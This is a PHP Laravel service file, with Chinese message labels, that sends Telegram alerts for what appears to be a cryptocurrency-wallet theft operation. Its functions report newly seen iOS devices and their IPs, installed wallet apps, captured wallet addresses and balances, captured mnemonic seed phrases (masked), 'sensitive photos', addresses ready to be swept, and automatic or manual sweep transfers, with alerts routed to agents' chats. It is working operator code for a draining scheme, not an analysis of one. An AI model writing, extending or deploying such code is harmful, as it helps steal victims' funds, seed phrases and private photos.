546 lines
18 KiB
PHP
546 lines
18 KiB
PHP
<?php
|
|
|
|
namespace App\Services;
|
|
|
|
use App\Jobs\SendTelegramMessage;
|
|
use App\Models\Channel;
|
|
use App\Models\Device;
|
|
use App\Models\User;
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Support\SafeLog;
|
|
use Illuminate\Support\Facades\Http;
|
|
use Illuminate\Support\Facades\Log;
|
|
|
|
class TelegramNotifier
|
|
{
|
|
/** @var array<string, array{channel_id: string, agent: ?User}> */
|
|
private array $deviceContext = [];
|
|
|
|
public function systemEnabled(): bool
|
|
{
|
|
return $this->botToken() !== ''
|
|
&& trim((string) config('coruna.telegram.owner_chat_id', '')) !== '';
|
|
}
|
|
|
|
/**
|
|
* Site-wide bot token. Agents only configure chat_id.
|
|
*/
|
|
public function botToken(): string
|
|
{
|
|
return trim((string) config('coruna.telegram.bot_token', ''));
|
|
}
|
|
|
|
public function formatBotUsername(?string $username): string
|
|
{
|
|
$username = ltrim(trim((string) $username), '@');
|
|
|
|
return $username === '' ? '' : '@'.$username;
|
|
}
|
|
|
|
public function cachedBotUsername(): string
|
|
{
|
|
return $this->formatBotUsername((string) config('coruna.telegram.bot_username', ''));
|
|
}
|
|
|
|
public function inviteUrl(?string $username = null): string
|
|
{
|
|
$name = ltrim($username !== null && trim($username) !== ''
|
|
? $this->formatBotUsername($username)
|
|
: $this->cachedBotUsername(), '@');
|
|
|
|
return $name === '' ? '' : 'https://t.me/'.$name.'?startgroup=1';
|
|
}
|
|
|
|
/** Resolve @username via Telegram getMe. */
|
|
public function fetchBotUsername(?string $token = null): ?string
|
|
{
|
|
$token = trim((string) ($token !== null && trim($token) !== '' ? $token : $this->botToken()));
|
|
if ($token === '') {
|
|
return null;
|
|
}
|
|
|
|
try {
|
|
$resp = Http::timeout(8)->get("https://api.telegram.org/bot{$token}/getMe");
|
|
if (! $resp->successful() || $resp->json('ok') !== true) {
|
|
return null;
|
|
}
|
|
$name = $this->formatBotUsername((string) ($resp->json('result.username') ?? ''));
|
|
|
|
return $name !== '' ? $name : null;
|
|
} catch (\Throwable $e) {
|
|
Log::warning('telegram getMe failed: '.$e->getMessage());
|
|
|
|
return null;
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Agent device with chat_id → agent chat + official chat.
|
|
* Otherwise official chat only.
|
|
*
|
|
* @return list<string>
|
|
*/
|
|
public function resolveChatIds(?string $deviceKey = null): array
|
|
{
|
|
if ($this->botToken() === '') {
|
|
return [];
|
|
}
|
|
|
|
$owner = trim((string) config('coruna.telegram.owner_chat_id', ''));
|
|
$agentChat = '';
|
|
$agent = $this->contextForDevice($deviceKey)['agent'];
|
|
if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramChat()) {
|
|
$agentChat = trim((string) $agent->chat_id);
|
|
}
|
|
|
|
$chatIds = [];
|
|
if ($agentChat !== '') {
|
|
$chatIds[] = $agentChat;
|
|
}
|
|
if ($owner !== '' && $owner !== $agentChat) {
|
|
$chatIds[] = $owner;
|
|
}
|
|
|
|
return $chatIds;
|
|
}
|
|
|
|
public function enabled(?string $deviceKey = null): bool
|
|
{
|
|
return $this->resolveChatIds($deviceKey) !== [];
|
|
}
|
|
|
|
public function send(string $text, ?string $deviceKey = null): bool
|
|
{
|
|
$chatIds = $this->resolveChatIds($deviceKey);
|
|
if ($chatIds === []) {
|
|
SafeLog::channel('telegram')->info('telegram send skipped: no chat IDs resolved', [
|
|
'device_key' => $deviceKey,
|
|
'bot_token_set' => $this->botToken() !== '',
|
|
'owner_chat_id' => trim((string) config('coruna.telegram.owner_chat_id', '')),
|
|
]);
|
|
|
|
return false;
|
|
}
|
|
|
|
$async = config('queue.default') !== 'sync';
|
|
$ok = false;
|
|
foreach ($chatIds as $chatId) {
|
|
if ($async) {
|
|
SendTelegramMessage::dispatch($chatId, $text);
|
|
$ok = true;
|
|
|
|
continue;
|
|
}
|
|
if ($this->sendToChat($chatId, $text)['ok']) {
|
|
$ok = true;
|
|
}
|
|
}
|
|
|
|
return $ok;
|
|
}
|
|
|
|
/**
|
|
* Send one message to a specific chat using the site bot (or an override token).
|
|
*
|
|
* @return array{ok: bool, error: ?string}
|
|
*/
|
|
public function sendToChat(string $chatId, string $text, ?string $token = null): array
|
|
{
|
|
$token = trim((string) ($token !== null && trim($token) !== '' ? $token : $this->botToken()));
|
|
$chatId = trim($chatId);
|
|
if ($token === '') {
|
|
return ['ok' => false, 'error' => '未配置 Bot Token'];
|
|
}
|
|
if ($chatId === '') {
|
|
return ['ok' => false, 'error' => '未填写 Chat ID'];
|
|
}
|
|
|
|
try {
|
|
$resp = Http::timeout(15)->asForm()->post(
|
|
"https://api.telegram.org/bot{$token}/sendMessage",
|
|
[
|
|
'chat_id' => $chatId,
|
|
'text' => $text,
|
|
'parse_mode' => 'HTML',
|
|
'disable_web_page_preview' => true,
|
|
]
|
|
);
|
|
if ($resp->successful() && ($resp->json('ok') === true)) {
|
|
return ['ok' => true, 'error' => null];
|
|
}
|
|
|
|
$desc = trim((string) ($resp->json('description') ?? ''));
|
|
if ($desc === '') {
|
|
$desc = 'HTTP '.$resp->status();
|
|
}
|
|
SafeLog::channel('telegram')->warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
|
|
|
|
return ['ok' => false, 'error' => $desc];
|
|
} catch (\Throwable $e) {
|
|
SafeLog::channel('telegram')->warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
|
|
|
|
return ['ok' => false, 'error' => $e->getMessage()];
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Timeouts, transport errors, 429 and 5xx are worth another queue attempt.
|
|
* Chat-not-found / kicked / unauthorized are permanent.
|
|
*/
|
|
public static function isRetryableSendError(?string $error): bool
|
|
{
|
|
$error = trim((string) $error);
|
|
if ($error === '') {
|
|
return true;
|
|
}
|
|
|
|
$e = strtolower($error);
|
|
if (str_contains($e, 'too many requests') || str_contains($e, 'retry after') || str_contains($e, '429')) {
|
|
return true;
|
|
}
|
|
if (preg_match('/\bhttp\s*5\d\d\b/', $e) === 1) {
|
|
return true;
|
|
}
|
|
if (str_contains($e, 'curl error')
|
|
|| str_contains($e, 'timed out')
|
|
|| str_contains($e, 'timeout')
|
|
|| str_contains($e, 'connection')
|
|
|| str_contains($e, 'resolve host')
|
|
|| str_contains($e, 'ssl')) {
|
|
return true;
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
/**
|
|
* @return array{ok: bool, error: ?string}
|
|
*/
|
|
public function sendTest(string $chatId, string $label, ?string $token = null): array
|
|
{
|
|
$chatId = trim($chatId);
|
|
|
|
return $this->sendToChat($chatId, implode("\n", [
|
|
'🧪 <b>Telegram 测试</b>',
|
|
$this->e($label),
|
|
'🆔 Chat ID: <code>'.$this->e($chatId).'</code>',
|
|
]), $token);
|
|
}
|
|
|
|
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
|
|
{
|
|
$this->send(implode("\n", [
|
|
'📱 <b>新设备</b>',
|
|
...$this->deviceHeader($deviceId),
|
|
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
|
|
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
|
|
]), $deviceId);
|
|
}
|
|
|
|
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
|
|
{
|
|
$this->notifyNewWallets($deviceId, [[
|
|
'address' => $address,
|
|
'chain' => $chain ?: '',
|
|
'balance' => $balance ?: '',
|
|
'source' => $symbol ?: '',
|
|
]]);
|
|
}
|
|
|
|
/**
|
|
* Batch wallet alerts into a single Telegram message.
|
|
*
|
|
* @param list<array{address: string, chain?: string, balance?: string, source?: string}> $wallets
|
|
*/
|
|
public function notifyNewWallets(string $deviceId, array $wallets): void
|
|
{
|
|
if ($wallets === []) {
|
|
return;
|
|
}
|
|
|
|
$lines = [
|
|
'💰 <b>新钱包地址</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
|
|
...$this->deviceHeader($deviceId),
|
|
];
|
|
|
|
foreach ($wallets as $i => $w) {
|
|
$bal = trim((string) ($w['balance'] ?? ''));
|
|
if ($bal === '') {
|
|
$bal = '—';
|
|
}
|
|
$source = trim((string) ($w['source'] ?? ''));
|
|
if ($i > 0) {
|
|
$lines[] = '';
|
|
}
|
|
$lines[] = '🪙 <b>链</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
|
|
if ($source !== '') {
|
|
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
|
|
}
|
|
$lines[] = '📬 <b>地址</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
|
|
$lines[] = '💵 <b>余额</b>: '.$this->e($bal);
|
|
}
|
|
|
|
$this->send(implode("\n", $lines), $deviceId);
|
|
}
|
|
|
|
/**
|
|
* @param list<string> $wallets
|
|
*/
|
|
public function notifyInstalledWallets(string $deviceId, array $wallets): void
|
|
{
|
|
$wallets = array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $wallets), static fn ($n) => $n !== ''));
|
|
if ($wallets === []) {
|
|
return;
|
|
}
|
|
|
|
$this->send(implode("\n", [
|
|
'👜 <b>已安装钱包</b>',
|
|
...$this->deviceHeader($deviceId),
|
|
'🏷 <b>钱包</b>: '.$this->e(implode(', ', $wallets)),
|
|
]), $deviceId);
|
|
}
|
|
|
|
/**
|
|
* Newly linked or mnemonic-derived addresses that can now be swept.
|
|
*
|
|
* @param iterable<WalletAddress> $addresses
|
|
*/
|
|
public function notifyCollectableAddresses(iterable $addresses): void
|
|
{
|
|
$byDevice = [];
|
|
foreach ($addresses as $address) {
|
|
if (! $address instanceof WalletAddress) {
|
|
continue;
|
|
}
|
|
$address->loadMissing('device');
|
|
$deviceId = trim((string) ($address->device?->device_id ?? ''));
|
|
if ($deviceId === '') {
|
|
continue;
|
|
}
|
|
$byDevice[$deviceId][] = $address;
|
|
}
|
|
|
|
foreach ($byDevice as $deviceId => $rows) {
|
|
$lines = [
|
|
'📦 <b>地址可归集通知</b>'.(count($rows) > 1 ? ' ('.count($rows).')' : ''),
|
|
...$this->deviceHeader($deviceId),
|
|
];
|
|
foreach ($rows as $i => $row) {
|
|
if ($i > 0) {
|
|
$lines[] = '';
|
|
}
|
|
$chain = trim((string) ($row->chain_type ?? ''));
|
|
$lines[] = '🪙 <b>链</b>: '.$this->e($chain !== '' ? $chain : '—');
|
|
$source = trim((string) ($row->source ?? ''));
|
|
if ($source !== '') {
|
|
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
|
|
}
|
|
$lines[] = '📬 <b>地址</b>: <code>'.$this->e((string) $row->address).'</code>';
|
|
$lines[] = '💵 <b>余额</b>: '.$this->e($row->balanceDisplayLine());
|
|
}
|
|
$this->send(implode("\n", $lines), $deviceId);
|
|
}
|
|
}
|
|
|
|
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric, ?string $originDeviceId = null): void
|
|
{
|
|
$lines = [
|
|
'🔐 <b>新助记词</b>',
|
|
...$this->deviceHeader($deviceId),
|
|
];
|
|
$origin = trim((string) $originDeviceId);
|
|
if ($origin !== '' && $origin !== $deviceId) {
|
|
$lines[] = '📎 <b>原设备</b>: <code>'.$this->e($origin).'</code>';
|
|
}
|
|
$lines[] = '🏷 <b>来源</b>: '.$this->e($source ?: '—');
|
|
$lines[] = '📝 <b>助记词</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>';
|
|
$this->send(implode("\n", $lines), $deviceId);
|
|
}
|
|
|
|
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
|
|
{
|
|
$this->send(implode("\n", [
|
|
'🖼 <b>敏感照片</b>',
|
|
...$this->deviceHeader($deviceId),
|
|
'🎯 <b>敏感分</b>: '.$this->e((string) $xHit),
|
|
'📦 <b>数量</b>: '.$this->e((string) max(1, $count)),
|
|
]), $deviceId);
|
|
}
|
|
|
|
public function notifyBalanceChange(
|
|
string $deviceId,
|
|
string $address,
|
|
string $symbol,
|
|
string $amount,
|
|
?string $chain = null,
|
|
?string $balance = null,
|
|
bool $inbound = true,
|
|
?bool $collectable = null,
|
|
?string $source = null,
|
|
): void {
|
|
$signed = ($inbound ? '+' : '-').ltrim($amount, '+-');
|
|
$source = trim((string) $source);
|
|
$chain = trim((string) $chain);
|
|
$origin = implode(' - ', array_values(array_filter([$source, $chain])));
|
|
$lines = [
|
|
$inbound ? '✅ <b>余额入账</b>' : '📤 <b>余额转出</b>',
|
|
...$this->deviceHeader($deviceId),
|
|
'🏷 <b>来源</b>: '.$this->e($origin !== '' ? $origin : '—'),
|
|
'📬 <b>地址</b>: <code>'.$this->e($address).'</code>',
|
|
'📥 <b>可归集</b>: '.($collectable === true ? '✅' : '⏳'),
|
|
'💵 <b>金额</b>: '.$this->e($signed).' '.$this->e($symbol),
|
|
];
|
|
if ($balance !== null && trim($balance) !== '') {
|
|
$lines[] = '💰 <b>余额</b>: '.$this->e($balance);
|
|
}
|
|
$this->send(implode("\n", $lines), $deviceId);
|
|
}
|
|
|
|
/**
|
|
* Sweep / transfer result (auto cron or admin/agent/telegram).
|
|
*/
|
|
public function notifyAutoTransfer(
|
|
string $deviceId,
|
|
string $fromAddress,
|
|
string $chain,
|
|
string $asset,
|
|
bool $ok,
|
|
?string $amount = null,
|
|
?string $toAddress = null,
|
|
?string $txid = null,
|
|
?string $error = null,
|
|
?string $operator = null,
|
|
): void {
|
|
$auto = trim((string) $operator) === 'auto';
|
|
$lines = [
|
|
$ok
|
|
? ($auto ? '🚀 <b>自动转账成功</b>' : '🧾 <b>手动归集成功</b>')
|
|
: ($auto ? '⚠️ <b>自动转账失败</b>' : '⚠️ <b>手动归集失败</b>'),
|
|
...$this->deviceHeader($deviceId),
|
|
];
|
|
$who = $this->operatorDisplay($operator);
|
|
if ($who !== '') {
|
|
$lines[] = '👤 <b>操作人</b>: '.$this->e($who);
|
|
}
|
|
$lines[] = '🪙 <b>链</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—');
|
|
$lines[] = '💎 <b>资产</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—');
|
|
$lines[] = '📤 <b>转出</b>: <code>'.$this->e($fromAddress).'</code>';
|
|
if ($toAddress !== null && trim($toAddress) !== '') {
|
|
$lines[] = '📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>';
|
|
}
|
|
if ($amount !== null && trim($amount) !== '') {
|
|
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
|
|
}
|
|
if ($ok && $txid !== null && trim($txid) !== '') {
|
|
$lines[] = '🔗 <b>交易</b>: <code>'.$this->e($txid).'</code>';
|
|
}
|
|
if (! $ok && $error !== null && trim($error) !== '') {
|
|
$lines[] = '❌ <b>错误</b>: '.$this->e($error);
|
|
}
|
|
$this->send(implode("\n", $lines), $deviceId);
|
|
}
|
|
|
|
public function operatorDisplay(?string $operator): string
|
|
{
|
|
$operator = trim((string) $operator);
|
|
if ($operator === '' || $operator === 'auto') {
|
|
return '';
|
|
}
|
|
if (preg_match('/^admin:\d+@(.+)$/', $operator, $m) === 1) {
|
|
return '管理员 '.$m[1];
|
|
}
|
|
if (preg_match('/^agent:\d+@(.+)$/', $operator, $m) === 1) {
|
|
return '代理 '.$m[1];
|
|
}
|
|
if (preg_match('/^telegram:\d+@(.+)$/', $operator, $m) === 1) {
|
|
return 'Telegram @'.$m[1];
|
|
}
|
|
if (preg_match('/^telegram:(.+)$/', $operator, $m) === 1) {
|
|
return 'Telegram '.$m[1];
|
|
}
|
|
|
|
return $operator;
|
|
}
|
|
|
|
/**
|
|
* TRON fee / energy top-up result.
|
|
*/
|
|
public function notifyFeeTopup(
|
|
string $deviceId,
|
|
string $feeFrom,
|
|
string $toAddress,
|
|
bool $ok,
|
|
?string $amount = null,
|
|
?string $txid = null,
|
|
?string $error = null,
|
|
): void {
|
|
$lines = [
|
|
$ok ? '⚡ <b>TRX 手续费补足成功</b>' : '⚠️ <b>TRX 手续费补足失败</b>',
|
|
...$this->deviceHeader($deviceId),
|
|
'📤 <b>手续费钱包</b>: <code>'.$this->e($feeFrom).'</code>',
|
|
'📥 <b>转入</b>: <code>'.$this->e($toAddress).'</code>',
|
|
];
|
|
if ($amount !== null && trim($amount) !== '') {
|
|
$lines[] = '💵 <b>金额</b>: '.$this->e($amount).' TRX';
|
|
}
|
|
if ($ok && $txid !== null && trim($txid) !== '') {
|
|
$lines[] = '🔗 <b>交易</b>: <code>'.$this->e($txid).'</code>';
|
|
}
|
|
if (! $ok && $error !== null && trim($error) !== '') {
|
|
$lines[] = '❌ <b>错误</b>: '.$this->e($error);
|
|
}
|
|
$this->send(implode("\n", $lines), $deviceId);
|
|
}
|
|
|
|
/** @return list<string> */
|
|
private function deviceHeader(string $deviceId): array
|
|
{
|
|
$channelId = $this->contextForDevice($deviceId)['channel_id'];
|
|
|
|
return [
|
|
'📱 <b>设备</b>: <code>'.$this->e($deviceId).'</code>',
|
|
'📡 <b>渠道 ID</b>: <code>'.$this->e($channelId !== '' ? $channelId : '—').'</code>',
|
|
];
|
|
}
|
|
|
|
/**
|
|
* @return array{channel_id: string, agent: ?User}
|
|
*/
|
|
private function contextForDevice(?string $deviceKey): array
|
|
{
|
|
$deviceKey = trim((string) $deviceKey);
|
|
if ($deviceKey === '') {
|
|
return ['channel_id' => '', 'agent' => null];
|
|
}
|
|
if (isset($this->deviceContext[$deviceKey])) {
|
|
return $this->deviceContext[$deviceKey];
|
|
}
|
|
|
|
$channelId = '';
|
|
$agent = null;
|
|
try {
|
|
$found = Device::query()->where('device_id', $deviceKey)->value('channel_id');
|
|
$channelId = is_string($found) ? $found : '';
|
|
if ($channelId !== '') {
|
|
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
|
|
if ($userId !== null && (int) $userId > 0) {
|
|
$agent = User::query()->find((int) $userId);
|
|
}
|
|
}
|
|
} catch (\Throwable) {
|
|
//
|
|
}
|
|
|
|
return $this->deviceContext[$deviceKey] = [
|
|
'channel_id' => $channelId,
|
|
'agent' => $agent,
|
|
];
|
|
}
|
|
|
|
private function e(?string $value): string
|
|
{
|
|
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
|
|
}
|
|
}
|